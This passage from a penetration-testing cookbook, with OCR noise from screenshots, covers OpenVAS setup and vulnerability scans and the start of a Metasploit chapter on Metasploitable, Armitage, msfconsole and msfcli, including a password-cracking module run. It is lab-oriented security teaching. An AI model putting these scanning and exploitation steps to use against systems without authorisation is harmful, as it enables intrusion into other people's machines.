o Scheduled: Allows you to select the date and time when the scan
should be executed

o Template: Allows you to set this scan as a template

3. Choose a scan policy. In this case, the Windows Vulnerabilities Scan
policy we created earlier in the recipe.

4. Choose your targets considering the following points:
o Targets must be entered one per line
o You can also enter ranges of targets on each line
o Upload a target's file (if you have one) or select Add Target IP Address

9. Click on Launch Scan:

B —
Resuits Sean Quete Scan Templates Policies

Configuration

@ | New Scan Template

L¥ General Setings General Scan Settings

b4

Mame
Type Run Mow »
Policy External Network Scan »

Scan Targets

Upload Targets | _Rrowse

W el
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10. You will get a confirmation and your test will complete (depending on how many
targets are selected and the number of tests performed).
11. Once completed, you will receive a report.
12. Double-click on the report to analyze the following points:
o Each target that a vulnerability is found for will be listed
o Double-click on the IP address to see the ports and issues on each port

o Click on the number under the column to get the list of specific
issues/vulnerabilities found

a The vulnerabilities will be listed in detail

13. Click on Download Report from the Reports main menu.

Installing, configuring, and starting

OpenVAS

OpenVAS, the Open Vulnerability Assessment System, is an excellent framework that can
be used to assess the vulnerabilities of our target. It is a fork of the Nessus project. Unlike
Nessus, OpenVAS offers its feeds completely free of charge. As OpenVAS comes standard in
Kali Linux, we will begin with configuration.

Getting ready

A connection to the Internet is required to complete this recipe.

How to do it...

Let's begin the process of installing, configuring, and starting OpenVAS by navigating to its
directory via a terminal window:

1. OpenVAS is installed by default and it only needs to be configured in order
to be utilized.

2. From a terminal window, change your directory to the OpenVAS directory:

cd /usr/share/openvas/
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3. Execute the following command:

openvas-mkcert

What we are performing in this step is creating the SSL certificate for the
OpenVAS program:

Leave the default lifetime of the CA certificate as it is.

N

Update the certificate lifetime to match the number of days of the CA
certificate: 1460.

Enter the country.
Enter the state or province (if desired).
Leave the organization name as the default.

o ok~ w

You will be presented with the certificate confirmation screen, then press
Enter to exit:

4. Execute the following command:

openvas-nvt-sync

This will sync the OpenVAS NVT database with the current NVT Feed. It will also
update you with the latest vulnerability checks:
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r the initial sync. Falling

Enter pe :
main SSA : 3-06-30 17 3 EDT: No rules file provi , the new user will have

9.

Execute the following commands:
openvas-mkcert-client -n om -i

openvasmd -rebuild
This will generate a client certificate and rebuild the database respectively.

Execute the following command:

openvassd

This will start the OpenVAS Scanner and load all plugins (approximately 26,406),
so this may take some time.

Execute the following commands:
openvasmd --rebuild

openvasmd --backup
These commands will rebuild and create a backup of the database.

Execute the following command to create your administrative user
(we use openvasadmin):

openvasad -c¢ 'add user' -n openvasadmin -r admin

-n admin -r Admin

3 EDT: User admin has E sfully c te

Execute the following command:

openvas-adduser
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This will allow you to create a regular user:

Enter a login name.

Press Enter on the authentication request (this automatically chooses
the password).

3. Enter the password twice.
For rules, press Ctrl + D.

5. Press Yto add the user.

tem which allows y strict the ts that wlp has the

you may want him to be able to scan his own host only.

(8) man ¢

hit ctrl-D on

10. Execute the following commands to configure the ports that OpenVAS will
interact with:

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=127.0.0.1 -p 9392

9392 is the recommended port for the web browser, but
s you can choose your own.
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11. Goto http://127.0.0.1:9392, in your browser to view the OpenVAS
web interface.

Greenbone Security Assistant

Successfully logged out.

Username

Passwaord

In this recipe, we began by opening a terminal window and installing OpenVAS via the
repository. We then created a certificate and installed our plugin database. Next, we created an
administrative and a regular user account. Finally, we started the web interface of OpenVAS and
were presented with the login screen.

Every time you perform an action with OpenVAS, you will
L need to rebuild the database.
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There's more...

This section explains some additional information regarding starting OpenVAS.

Setting up an SSH script to start OpenVAS
Each time you would like to run OpenVAS, you need to:

1. Sync the NVT Feed (always a good idea as these items will change as new
vulnerabilities are discovered).

Start the OpenVAS Scanner.

Rebuild the database.

Back up the database.

ok 0N

Configure your ports.

To save a lot of time, the following is a simple Bash script that will allow you to start OpenVAS.
Save this file as OpenVAS . sh and place it in your /root folder:

#!/bin/bash

openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd --backup

openvasmd -p 9390 -a 127.0.0.1

openvasad -a 127.0.0.1 -p 9393

gsad --http-only --listen=127.0.0.1 -p 9392
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Using the OpenVAS Desktop

Optionally, you could perform the same steps via the OpenVAS Desktop. The OpenVAS
Desktop is a GUIl-based application. To start the application:

1. Navigate to Applications | Kali Linux | Vulnerability Assessment | Vulnerability
Scanners | OpenVAS | Start GreenBone Security Desktop from the Kali Linux
desktop Start menu as shown in the following screenshot:

k

Please enter address and
user account for your scan
engine.

If you select one of the

profiles, you only need to
entar the passwaord. Serveraddress Port
Before you press the log in

button you may store the | | | g3aQ)
access profile.

Mote, that the scan engine

must have OMP support Usemame
enabled for the given port
for a successful connection.

Enter your server address as 127.0.0. 1.
Enter your username.

Enter your password.

Click on the Log in button.

ok 0N
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OpenVAS - finding local vulnerabilities

OpenVAS allows us to attack a wide range of vulnerabilities, and we will confine our list of
assessing the vulnerabilities of our target to those specific to the type of information we
seek to gain from the assessment. In this recipe, we will use OpenVAS to scan for local
vulnerabilities on our target. These are vulnerabilities specific to our local machine.

How to do it...

Let's begin the process of finding local vulnerabilities with OpenVAS by opening the Mozilla
Firefox web browser:

1. Gotohttp://127.0.0.1:9392 and log in to OpenVAS.
2. Go to Configuration | Scan Configs:

2 Configuration
o Scan Configs
¢ Targets
o Credentials
¢ Agents
o Escalators
o Schedules
o Report Formats
o Slaves

3. Enter the name of the scan. For this recipe, we will use Local Vulnerabilities.

4. Forthe base, select the Empty, static and fast option. This option allows us to start
from scratch and create our own configuration.

5. Click on Create Scan Config:

New Scan Config ]

Name Local Vulnerabilities

Comment (optional)

@ Empty, static and fast
Base

) Full and fast

Create Scan Config

120
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6. We now want to edit our scan config. Click on the wrench icon next to Local
Vulnerabilities:

Local Vulnerabilities 15 By 1sci14 B EIEVESED

7. Press Ctrl + F and type Local in the find bar.

8. For each local family found, put a check mark in the Select all NVT's box. A family is a
group of vulnerabilities. The chosen vulnerabilities are:

u]

u]

Navigation

O Scan Management
o Tasks
o New Task
o Notes
o Overrides
o Performance

@ Configuration
© Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
© Report Formats
o Slaves

2 Administration
o Users
o NVT Feed
o Settings

@ Help
o Contents
o About

Compliance

Credentials

Default Accounts

Denial of Service

FTP

Ubuntu Local Security Checks

it Scan Config Detail |

Back to Configs
Name: Local Vulnerabilities
Comment:
Edit Network Vulnerability Test Families
AIX Local Security Checks 1of1 oo kd | ]
Brute force attacks 0of 11 et ekd | .|
Buffer overflow 0 of 434 Ckd @ hd =] ]
CISCO 0of4 odel A ]
Cent0S Local Security Checks 1243 of 1243 edekd Il &
Compliance 0of3 [@] # -1 =] = al
Credentials 0of 2 e kd ] al
Databases 0of 71 oEHeld B ]
Debian Local Security Checks 2476 of 2476 Ll @ (ad Fil ]
Default Accounts 0 of 28 Bl @ ad = ]
Denial of Service 0 of 777 ekde & [ |+
FTP 0 of 159 Oldokd ] ]

9. Click on Save Config.
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10. Now go to Configuration | Targets:

2 Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
¢ Slaves

11. Create a new target and perform the following tasks:

1. Enter the name of the target.

2.

Enter the hosts using one of the following ways:

o Enteronly one address: 192.168.0.10

o Enter multiple e-mail addresses separated by a comma:
192.168.0.10,192.168.0.115

o Enterarange of addresses: 192.168.0.1-20

12. Click on Create Target.

13. Now select Scan Management | New Task, and perform the following tasks:

1.

o o M wbd

122

Enter the name of the task.

Enter a comment (optional).

Select your scan configuration. In this case Local Vulnerabilities.
Select the scan targets. In this case Local Network.

Leave all other options at their default levels.

Click on Create Task.
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Name Local Vulnerabilities

Comment (optional)

Scan Config ‘Local Vulnerabilities i

Scan Targets Local Metwork -
Escalator (optional) — =
Schedule (optional) — -

Slave (optional) - -

14. Now go to Scan Management | Tasks.
15. Click on the play button next to our scan. In this case Local Vulnerability Scan:

Results of last operation

Operation: Delete Task
Status code: 200
Status message: OK

o
Taskswg “Mo auto-refresh - '\'Appiyavem’dﬁ -

Task .. Status mm o Threat Trend | Actions

Local Vulnerabilities Scan Aug 8 2012 MNone |

In this recipe, we launched OpenVAS and logged into its web-based interface. We then
configured OpenVAS to search for a set of local vulnerabilities. Finally, we selected our target
and completed the scan. OpenVAS then scanned the target system against the list of known
vulnerabilities included in our NVT Feed.
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Once your scan has been performed, you can see the results by viewing the report:

1. Go to Scan Management | Tasks.
2. Click on the purple magnifying glass next to Local Vulnerabilities Scan:

Results of last operation

Operation: Delete Task
Status code: 200
Status message; QK

Tasks F’ “ Mo autorefresh - '\'Appiy ovemdes w s‘

Task .. Status [ > Threat Trend | Actions
st I

Local Vulnerabilities Scan Aug 82012 Mona

3. Click on the download arrow to view the report:

Task Summaryﬁ S EERXZ

Name: Local Vulnerabilities Scan Back to Tasks
Comment:

Config: Full and fast

Escalator:

Schedule: (Next due: over)

Target: Localhost

Slave:

Status: (LR

Reports: 1 (Finished: 1)

Reports for "Local Vulnerabilities Scan” » (2]

-EIEIW

Thu Aug 9 11:46:07 2012 1 1 13 0 mmu

Done e I

Notes on Results of "Local Vulnerabilities Scan” [ =
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OpenVAS - finding network vulnerabilities

In this recipe, we will use OpenVAS to scan for network vulnerabilities. These are vulnerabilities
specific to devices on our targeted network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Windows XP

» Windows 7

» Metasploitable 2.0

» Any other flavor of Linux

How to do it...

Let's begin the process of finding network vulnerabilities with OpenVAS by opening the Mozilla
Firefox web browser:

1. Gotohttp://127.0.0.1:9392 and log in to OpenVAS.
2. Go to Configuration | Scan Configs:

@ Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

3. Enter the name of the scan. For this recipe, we will use Network Vulnerabilities.

4. Forthe base, select the Empty, static and fast option. This option allows us to start
from scratch and create our own configuration.
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5. Click on Create Scan Config:

New Scan Config 2

Name Local Vulnerabilities

Comment (optional)

@ Empty, static and fast
) Full and fast

Base

| Create Scan Config |

6. We now want to edit our scan config. Click on the wrench icon next
to Network Vulnerabilities.

7. Press Ctrl + F and type Network in the find bar.

For each family found, put a check mark in the Select all NVT's box.
A family is a group of vulnerabilities. The chosen vulnerabilities are:

Brute force attacks
Buffer overflow
CIScoO

Compliance
Credentials
Databases

Default Accounts
Denial of Service
FTP

Finger abuses
Firewalls

Gain a shell remotely
General

Malware

Netware

NMAP NSE
Peer-To-Peer File Sharing
Port Scanners
Privilege Escalation
Product Detection
RPC

Remote File Access

¢t o oo oo oo oo oo 00 00D OO O O
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SMTP Problems
SNMP

Service detection
Settings
Wireless services

0 0O 0 0O O
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Edit Scan Config Details 4

Back to Configs

Name: MNetwork
Comment:

Edit Network Vulnerability Test Families

Family © Fe= NVT's selected Select all NVT's

AIX Local Security Checks Dofi ) =d
Brute force attacks Dof11 " (ad a
Buffer overflow 0of 333 " d |+
CISCO Dof4 " (ad -
CentOS Local Security Checks 0 of 669 " =d e
Compliance Dof3 " (ad a
Credentials Oof2 = d |+
Databases 0 of 52 " (ad e
Debian Local Security Checks 0 of 2189 " =d e
Default Accounts 0 of 20 " (ad a
Denial of Service Oofalg = d |+
ETP 0 of 142 - &4 ta

9. Click on Save Config.

10. Now go to Configuration | Targets:

@ Configuration
o Scan Configs
o Iargets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves
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11. Create a new target and perform the following tasks:
1. Enter the name of the target.
2. Enter the hosts using one of the following ways:
o Enteronly one address: 192.168.0.10

o Enter multiple e-mail addresses separated by a comma:
192.168.0.10,192.168.0.115

o Enter arange of addresses: 192.168.0.1-20

12. Click on Save Target.

13. Now go to Scan Management | New Task and perform the following tasks:
1. Enter the name of the task.

Enter a comment (optional).

Select your scan configuration. In this case Network Vulnerabilities.

Select the scan targets. In this case Local Network.

Leave all other options at their default levels.

o o M~ wbd

Click on Create Task:

New Task .

Name Network Vulnerabilities
Comment (optional)

Scan Config Network -
Scan Targets Local Network

Escalator (optional) -

Schedule (optional) — -

Slave (optional) - -

Create Task

14. Now go to Scan Management | Tasks.
15. Click on the play button next to our scan. In this case Network Vulnerability Scan.
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In this recipe, we launched OpenVAS and logged into its web-based interface. We then
configured OpenVAS to search for a set of network vulnerabilities. Finally, we selected our
target and completed the scan. OpenVAS then scanned the target system against the list of
known vulnerabilities included in our NVT Feed.

There's more...

Once your scan has been performed, you can see the results by viewing the report:

1. Go to Scan Management | Tasks.
2. Click on the purple magnifying glass next to Network Vulnerabilities Scan
3. Click on the download arrow to view the report:

Task Summary @RS EERRZ

Name:  Windows Scan Back to Tasks
Comment:

Config: Windows Vulnerabilities

Escalator:

Schedule: (MNext due: over)

Target: Local Network

Slave:

Status: LI

Reports: 1 (Finished: 1)

Reports for "Windows Scan" d Apply ovemides - 5
Scan Results
Report Threat _El-m- Actions
Pas.
'E)':';::LDEC 5 15:48:34 2012 0 14 31 0 QE’U

Notes on Results of "Windows Scan” Ps

Overrides on Results of "Windows Scan" Ps

e Jem [ e oo
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OpenVAS - finding Linux-specific

vulnerabilities

In this recipe, we will use OpenVAS to scan for Linux vulnerabilities. These are vulnerabilities
specific to Linux machines operating on our targeted network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Metasploitable 2.0
» Any other flavor of Linux

How to do it...

Let's begin the process of finding Linux-specific vulnerabilities with OpenVAS by opening the
Mozilla Firefox web browser:

1. Gotohttp://127.0.0.1:9392 and log in to OpenVAS.
2. Go to Configuration | Scan Configs:

2 Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

3. Enter the name of the scan. For this recipe, we will use Linux Vulnerabilities.

4. Forthe base, select the Empty, static and fast option. This option allows us to start
from scratch and create our own configuration.
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5. Click on Create Scan Config:

Name

Linux Vulnerabilities

Comment (optional)

Base

@ Empty, static and fast
@ Full and fast

Create Scan Config

6. We now want to edit our scan config. Click on the wrench icon next to
Linux Vulnerabilities.

7. Press Ctrl + F and type Linux in the find bar.

8. For each local family found, put a check mark in the Select all NVT's box.
The chosen vulnerabilities are:

=]

=]

=]

Brute force attacks
Buffer overflow
Compliance
Credentials
Databases

Default Accounts
Denial of Service
FTP

Finger abuses

Gain a shell remotely
General

Malware

Netware

NMAP NSE

Port Scanners
Privilege Escalation
Product Detection
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[m]

[m]

RPC

Remote File Access
SMTP Problems
SNMP

Service detection
Settings

Wireless services
Web Servers

9. Click on Save Config.

10. Now go to Configuration | Targets:

@ Configuration
o Scan Configs
¢ Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

11. Create a new target and perform the following tasks:

1. Enter the name of the target.

2.

Enter the hosts using one of the following ways:

o Enteronly one address: 192.168.0.10

o Enter multiple e-mail addresses separated by a comma:
192.168.0.10,192.168.0.115

o Enterarange of addresses: 192.168.0.1-20

12. Click on Save Target.
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13. Now go to Scan Management | New Task and perform the following tasks:
1. Enter the name of the task.

Enter a comment (optional).

Select your scan configuration. In this case Linux Vulnerabilities.

Select the scan targets. In this case Local Network.

Leave all other options at their default levels.

o o M wDd

Click on Create Task:

New Task .

Name Linux Scan

Comment (optional)

Scan Config Linux Vulnerabilities -
Scan Targets Local Metwork -

Escalator (optional) - «

Schedule (optional) - -

Slave (optional) - -

14. Now go to Scan Management | Tasks.

15. Click on the play button next to our scan. In this case Linux Vulnerability Scan.

In this recipe, we launched OpenVAS and logged into its web-based interface. We then
configured OpenVAS to search for a set of Linux vulnerabilities. Finally, we selected our target
and completed the scan. OpenVAS then scanned the target system against the list of known

vulnerabilities included in our NVT Feed.

Once your scan has been performed, you can see the results by viewing the report:

1. Goto Scan Management | Tasks.

2. Click on the purple magnifying glass next to Linux Vulnerabilities Scan.
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3. Click on the download arrow to view the report:

Edit Scan Config Details ]

O Scan Management Back to Configs
o Tasks Name: Linux Vulnerabilities
o New Task Comment:
° —NOtES - agm T
o Overrides Edit Network Vulnerability Test Families
o Performance
& Configuration Family @ @ o & R Ll Sk RNV
o Scan Configs ATX Local Security Checks oof 1 215] =] a
o Targets
o Credentials Brute force attacks 0of 11 -} = | |
o Agents Buffer overflow 0 of 333 o] - e8] = "}
o Escalators
o Schedules CISCO 0of 4 @ lmd ]
o Report Formats CentO5 Local Security Checks 0 of 669 L @ ad s
o Slaves ’
Compliance 0of 3 5] nd L}
O Administration
o Users Credentials 0of 2 0 Ld & &d .~}
= NVT Feed Databases 0 of 52 o = |
o Settings
G Help Debian Local Security Checks 0 of 2189 @ Ld = e
o Contents Default Accounts 0 of 20 ° = -
o About
Denizal of Service 0 of 619 @ L = s
FTP 0 of 142 ) = | |

OpenVAS - finding Windows-specific

vulnerabilities

In this recipe, we will use OpenVAS to scan for Windows vulnerabilities. These are
vulnerabilities specific to Windows machines operating on our targeted network.

Getting ready

To complete this recipe, you will need a virtual machine(s) to test against:

» Windows XP
» Windows 7
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How to do it...

Let's begin the process of finding Windows-specific vulnerabilities with OpenVAS by opening
the Mozilla Firefox web browser:

1. Gotohttp://127.0.0.1:9392 and log in to OpenVAS.
2. Go to Configuration | Scan Configs:

@ Configuration
o Scan Configs e
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

3. Enter the name of the scan. For this recipe, we will use Windows
Vulnerabilities.

For the base, select the Empty, static and fast option.
5. Click on Create Scan Config:

New Scan Config = :

Name Windows Vulnerabilities

Comment (optional)

@ Empty, static and fast
) Full and fast

Base

Create Scan Config

6. We now want to edit our scan config. Press the wrench icon next to
Windows Vulnerabilities.

7. For each family found, put a check mark in the Select all NVT's box.
The chosen vulnerabilities are:

Brute force attacks
Buffer overflow
Compliance
Credentials

[ I N S

Databases
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o Default Accounts

o Denial of Service

o FTP

o Gain a shell remotely

o General

o Malware

o NMAP NSE

o Port Scanners

o Privilege Escalation

o Product Detection

o RPC

o Remote File Access

o SMTP Problems

o SNMP

o Service detection

o Web Servers

o Windows

o Windows: Microsoft Bulletins

Back to Configs

Name: Windows Vulnerabilities
Comment:
Edit Network Vulnerability Test Families
AI¥ Local Security Checks Dof1 @ (md ]
Brute force attacks 0of 11 ook "}
Buffer overflow 0 of 333 0] 7 ]~ | ]
CISCO Oof4 dekd [l s
Cent0S Local Security Checks 0 of 669 L @ d ] "]
Compliance 0of 3 @Ed O d ]
Credentials 0of 2 @kdokd "}
Databases 0 of 52 @Ed O ad ]
Debian Local Security Checks 0 of 2189 Lal @ [nd = "]
Default Accounts 0 of 20 ook "}
Denial of Service 0of 619 ook "}
FTP 0 of 142 td o Ld El ta
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8. Click on Save Config.

9. Now go to Configuration | Targets:

2 Configuration
o Scan Configs
¢ Targets
o Credentials
¢ Agents
o Escalators
o Schedules
o Report Formats
o Slaves

10. Create a new target and perform the following tasks:

1.
2.

Enter the name of the target.

Enter the hosts using one of the following ways:

o Enteronly one address: 192.168.0.10

o Enter multiple e-mail addresses separated by a,
192.168.0.10,192.168.0.115

o Enter arange of addresses: 192.168.0.1-20

11. Click on Save Target.

12. Now go to Scan Management | New Task, and perform the following tasks:

1.

ok 0N

Enter the name of the task.

Enter a comment (optional).

Select your scan configuration. In this case Windows Vulnerabilities.
Select the scan targets. In this case Local Network.

Leave all other options at their default levels.
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6. Click on Create Task:

Name Windows Scan

Comment (optional)

Scan Canfig Windows Vulnerabilities -
Scan Targets Local Metwork
Escalator (optional) - «

Schedule (optional) - «

Slave (optional) -

13. Now go to Scan Management | Tasks.

14. Click on the play button next to our scan. In this case Windows Vulnerability Scan.

In this recipe, we launched OpenVAS and logged into its web-based interface. We then
configured OpenVAS to search for a set of Windows vulnerabilities. Finally, we selected our
target and completed the scan. OpenVAS then scanned the target system against the list of
known vulnerabilities included in our NVT Feed.
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There's more...

Once your scan has been performed, you can see the results by viewing the report:

1. Go to Scan Management | Tasks.
2. Click on the purple magnifying glass next to Windows Vulnerabilities Scan.

3. Click on the download arrow to view the report:

L1 | bda

Task Summary Ps

Name: Windows Scan
Comment:

Config: Windows Vulnerabilities
Escalator:

Schedule: (Mext due: over)
Target: Local Network

Slave:

Status: LR
Reports: 1 (Finished: 1)

Back to Tasks

Reports for "Windows Scan" 7

Wed Dec 5 15:48:34 2012
Done

f"
ApplyovﬂndE -

Scan Results

_--mm
0 14 31 o EVEIES

Actions

Notes on Results of "Windows Scan" @S







Exploiting
Vulnerabilities

In this chapter, we will cover:

» Installing and configuring Metasploitable

» Mastering Armitage, the graphical management tool for Metasploit
» Mastering the Metasploit Console (MSFCONSOLE)

» Mastering the Metasploit CLI (MSFCLI)

» Mastering Meterpreter

» Metasploitable MySQL

» Metasploitable PostgreSQL

» Metasploitable Tomcat

» Metasploitable PDF

» Implementing browser_autopwn

Introduction

Once we have completed our vulnerability scanning steps, we now have the knowledge
necessary to attempt to launch exploits against our target system(s). In this chapter,
we will examine using various tools including the Swiss Army knife of testing systems,
which is Metasploit.



Exploiting Vulnerabilities

Installing and configuring Metasploitable

In this recipe, we will install, configure, and start Metasploitable 2. Metasploitable is a
Linux-based operating system that is vulnerable to various Metasploit attacks. It was designed
by Rapid7, the owners of the Metasploit framework. Metasploitable is an excellent way to get
familiar with using Meterpreter.

Getting ready

To execute this recipe we will need the following:

» A connection to the Internet
» Available space on your VirtualBox PC
» An unzipping tool (in this case we are using 7-Zip on a Windows machine)

How to do it...

Let's begin the recipe by downloading Metasploitable 2. Getting the package from
SourceForge is going to be our safest option:

1. Download Metasploitable 2 from the following link: http://sourceforge.net/
projects/metasploitable/files/Metasploitable2/.

Save the file to a location on your hard drive.

Unzip the file.

Place the contents of the folder in a location where you store your virtual disk files.

ok 0N

Open VirtualBox and click on the New button:

0 o D

Mew Settings Show Discard
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6. Click on Next.

Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are necessary to create a new virtual machine for VirtualBox.

Use the Next button to go to the next page of the wizard and the Back button to return to the previous page. You
can also press Cancel if you want to cancel the execution of this wizard.

7. Enter a name of Metasploitable 2 while selecting an Operating System: of Linux
and Version: of Ubuntu, and click on Next as shown in the following screenshot:

VM Name and OS Type

Enter a name for the new virtual machine and select the type of the guest operating system you plan to install onto
the virtual machine.

The name of the virtual machine usually indicates its software and hardware configuration. It will be used by all
VirtualBox components to identify your virtual machine,

MName

Metasploitable 2

05 Type

Operating System: ’J_.inux

27
Viersion: [L.bu':tu -
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8. Select 512 MB of RAM if you have it available and click on Next:

Select the amount of base memary (RAM) in megabytes to be allocated to the virtual machine,
The recommended base memory size is 512 MB,

Base Memory Size

8192 MB

9. Choose an existing disk and select the VDMK file from where you downloaded it
and saved the Metasploitable 2 folder:

—

$% Choose a virtual hard disk Al x_J

Ko\ J®| . « VitualBox » VM » Metasploitable2-Linux v Search MetasploitableZ-Linux 0 ||
e = -

Organize New folder = 0l @

& Downloads *  Name Date modified Type
(i-i—"_ Recent Places

|N# Metasploitable.vmdk 8/25/20126:53 PM  Virtual Machine Di...

= Libraries
@ Documents
Ji Music
|| Pictures
B8 videos

m

1M Computer
£, Local Disk (C)
43 DVD/CD-RW Driv|_|

—u MNew Vaolume (E:)

- 4 m | 3
-~

File name: Metasploitable.vmdk ~ | Al hard disk images (*vmdk*s |

I Open I [ Cancel ] )
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10. Your virtual disk window will look as it does in the following screenshot. In this
instance, we do not need to update the disK space at all. This is because when using
Metasploitable, you are attacking the system, not using it as an operating system.

Virtual Hard Disk

If you wish vou can now add a start-up disk to the new machine, You can either create a new virtual disk or select
one from the list or from another location using the folder icon.

If you need a more complex virtual disk setup you can skip this step and make the changes to the machine settings
once the machine is created.

The recommended size of the start-up disk is 8.00 GB.
Start-up Disk
() Create new hard disk
@ Use existing hard disk

[Metasploitable. vmdk (Normal, 8.00 GB)

11. Click on Create:

& Create New Virtual Machine

Summary

Mame: Metasploitable 2

Q5 Type: Ubuntu

Base Memory: 512 MB

Start-up Disk: Metasploitable,vmdk (Normal, 8.00 GB)

If the above is correct press the Create button. Once you press it, a new virtual machine will be created.

MNote that you can alter these and all other setting of the created virtual machine at any time using the Settings

\
I
I
‘ ‘fou are going to create a new virtual machine with the following parameters:
I
dialog accessible through the menu of the main window.

ICreatel’Canceil

12. Start Metasploitable 2 by clicking on its name and clicking on the Start button.




Exploiting Vulnerabilities

In this recipe, we set up Metasploitable 2 on Virtualbox. We began the recipe by downloading
Metasploitable from Sourceforge.net. Next, we configured the VDMK to run inside of
Virtualbox and concluded by starting the system.

Mastering Armitage, the graphical

management tool for Metasploit

The newer versions of Metasploit utilize a graphical front end tool called Armitage.
Understanding of Armitage is important because it ultimately makes your usage of Metasploit
easier by providing information to you visually. It encompasses the Metasploit Console and,
by using its tabbing capabilities, allows you to see more than one Metasploit Console or
Meterpreter session at a time.

Getting ready

A connection to the Internet or internal network is required to complete this recipe.

How to do it...

Let's begin our review of Armitage:

1. From the desktop go to Start | Kali Linux | Exploitation Tools | Network
Exploitation Tools | Armitage:
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Accessories ?

%E] Electronics ?

,‘% Graphics b

@ Internet >
\ Top 10 Security Tools >
bl office ’ Qy, Information Gathering »

f Programming

>
‘h Vulnerability Analysis ’
Eﬂ Sound & Video

> o
ody Web Applications b4

5 5 ?
System Tool .ﬁ Password Attacks >

@ Universal Access >

o’ Wireless Attacks »

Exploitation Tools Lk BeEF XSS Framework
(i': Sniffing/Spoofing
E Maintaining Access > Yuk Exploit Database ¥
Reverse Engjgesring b ﬂ' Metasploit
':::' Stress \ Network Exploitation
;! Hardw x exploité
“ly Forens \ ikat
El Report \ jboss-autopwn-linux
c‘u‘j‘ﬂ' Systen \ jboss-autopwn-win

3 .
\ termineter

> Yk Cisco Attacks »

Lk social Engineering Toolkit

2. Onthe Armitage login screen, click on the Connect button:

* Connect...

| Host 127.0.0.1

 Port 55553
User .mslg

| Pass test

| Connect | | Help |




Exploiting Vulnerabilities

3. It may take Armitage a while to connect to Metasploit. While this takes place,
you may see the following notification window. Do not be alarmed. It will go away
once Armitage is able to connect. On the Start Metaspoit? screen, click on Yes:

o~ A Metasploit RPC server is not running or
0 not accepting connections yet, Would you
like me to start Metasploit's RPC server
for you?

(0]

4. You are then presented with the Armitage main screen. We will now discuss

the following three regions on the main screen (marked as A., B., and C. in the
following screenshot):

o A: This region displays the preconfigured modules. You can search for
modules using the space provided below the modules list.

o B: This region displays your active targets that we are able to run our
exploits against.

o C: This region displays multiple Metasploit tabs allowing for multiple
Meterpreter or console sessions to be run and displayed simultaneously.

x Armitage

Armitage \View Hosts Attacks Workspaces Help
» ([ auriliary

» ([ exploit .

» (i pavload ¥

» [ post

A.

Console X

=[ metasploit v4.2.0-release [core:4.2 api:1.0]
+ -- --=[ 805 exploits - 450 auxiliary - 135 post
+ -- --=[ 246 payleads - 27 encoders - 8 nops

=[ svn rl4805 updated 177 days ago (2012.02,23)

wWarning: This copy of the Metasploit Framework was last updated 177 days ago.
We recommend that you update the framework at least every other day.
For information on updating your, copy of Metasploit, please see:
https: //community.rapid7.comjdocs/DOC- 1306
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An alternative way to launch Armitage is to type the following command

into a terminal window:
Yo
armitage

» To learn more about Meterpreter, please see the Mastering Meterpreter section

Mastering the Metasploit Console

(MSFCONSOLE)

In this recipe, we will examine the Metasploit Console (MSFCONSOLE). The MSFCONSOLE
is primarily used to manage the Metasploit database, manage sessions, and configure and
launch Metasploit modules. Essentially, for the purposes of exploitation, the MSFCONSOLE
will get you connected to a host so that you can launch your exploits against it.

Some common commands you will use when interacting with the console are:
» help: This command will allow you to view the help file for the command you are
trying to run

» use module: This command allows you to begin configuring the module that you
have chosen

» set optionname module: This command allows you to set the various options
for a given module

» exploit: This command launches the exploit module

» run: This command launches a non-exploit module

» search module: This command allows you to search for an individual module
» exit: This command allows you to exit the MSFCONSOLE

Getting ready

A connection to the Internet or internal network is required to complete this recipe.
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How to do it...

Let's begin our exploration of the MSFCONSOLE:

4.

150

Open a command prompt.
Launch the MSFCONSOLE by using the following command:

msfconsole

Search for all the available Linux modules by using the search command. It is
always a good idea to search for our module each time we want to perform an action.
The major reason for this is that between various versions of Metasploit, the path to
the module may have changed:

search linux

normal
normal
normal
normal Linux
normal Linux
normal Linux

normal

normal

normal
normal inux Gathg
normal X Gathg
normal
normal
normal Multiple Lj

normal Wi Mar|

Use the John the Ripper Linux Password Cracker module:

use auxiliary/analyzse/jtr linux

> use auxiliary/anal

auxiliary( I |
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5. Show the available options of the module by using the following command:

show options

] = sh

6. Now that we have a listing of options that we can run for this module, we can set
individual options by using the set command. Let's set the JOHN_PATH option:

set JOHN PATH /usr/share/metasploit-framework/data/john/wordlists/
password.lst
7. Now to run our exploit we type in the exploit command:

exploit

There's more...

Once you have gained access to your host using the MSFCONSOLE, you must use Meterpreter
in order to distribute your payloads. MSFCONSOLE manages your sessions, but Meterpreter
does your actual payload and exploit engagements.

Mastering the Metasploit CLI (MSFCLI)

In this recipe, we will explore the Metasploit CLI (MSFCLI). Metasploit requires the use of an
interface in order to perform its tasks. The MSFCLI is such an interface. It is a good interface
for learning Metasploit or testing/writing a new exploit. It also serves well in the case of using
scripts and applying basic automation to tasks.

One major issue with using the MSFCLI is that you can only open one shell at a time. You will
also notice that as we are exploring some of our commands it functions a bit slower and is

a little more complicated than the MSFCONSOLE. Finally, you have to know the exact exploit
that you would like to run in order to use the MSFCLI. This can make it a little difficult for new
penetration testers who are not familiar with the Metasploit list of exploits.
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Some commands for MSFCLI are:

» msfcli: This loads a list of all available exploits accessible to MSFCLI
» msfcli -h: Displays the MSFCLI help file

» msfcli [PATH TO EXPLOIT] [options = wvaluel: This is the syntax
for launching an exploit

Getting ready

A connection to the Internet or internal network is required to complete this recipe.

How to do it...

Let's begin our exploration of the Metasploit CLI:

1. Start the Metasploit CLI (MSFCLI) using the following command. Please be patient
as this may take a little bit of time depending on the speed of your system. Also note
that as the MSFCLI loads, a list of available exploits will display.

msfcli

ait while load the module tree...

2. Display the MSFCLI help file:

msfcli -h

(T)argets \ s for it module

